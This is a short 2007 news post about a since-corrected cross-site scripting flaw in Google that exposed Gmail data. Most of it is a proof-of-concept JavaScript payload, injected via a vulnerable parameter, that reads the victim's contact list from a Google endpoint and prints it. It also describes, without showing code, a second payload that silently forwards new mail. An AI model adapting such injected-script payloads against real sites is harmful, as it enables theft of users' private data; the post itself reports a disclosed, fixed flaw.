A new critical Google XSS vulnerability promptly corrected

Written by DP

Thursday, 27 September 2007

Check out the new Google XSS vulnerability that beford discovered. Actually are exploits which allow attackers to steal information from Gmail accounts. These exploits have been successfully tested under all major browsers. Those of you who use Firefox + NoScript plugin are fully protected against such kind of attacks.

The following PoC JavaScript exploit by bedford, was called in the vulnerable parameter to show your contacts:

document.innerHTML = '';

function readXML(fichero, funcion) {
   var xmlDoc;
   var gecko = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined');
   var ie = (typeof window.ActiveXObject != 'undefined');

if (gecko) {
    xmlDoc = document.implementation.createDocument("", "", null)
    xmlDoc.load(fichero);
    xmlDoc.onload = function() { funcion(xmlDoc); }
} else if (ie) {
    xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.async = false;
    xmlDoc.load(fichero);
    if (xmlDoc.readyState == 4) funcion(xmlDoc);
}
}

function writeList(xmlDoc)
{
   var cells = xmlDoc.getElementsByTagName("Address");
   for (var i = 0; i < cells.length; i++) {
   status = cells[i].childNodes[0].nodeValue;
   document.write(i + '. ' +status + '<br/>');
   }

}

readXML('http://groups.google.com/groups/profile/contacts?max=900', writeList);

The following PoC JavaScript exploit by beford, was called in the vulnerable parameter to forward all new received e-mails to another email account - not needing user interaction, just the victim to be logged in to Gmail.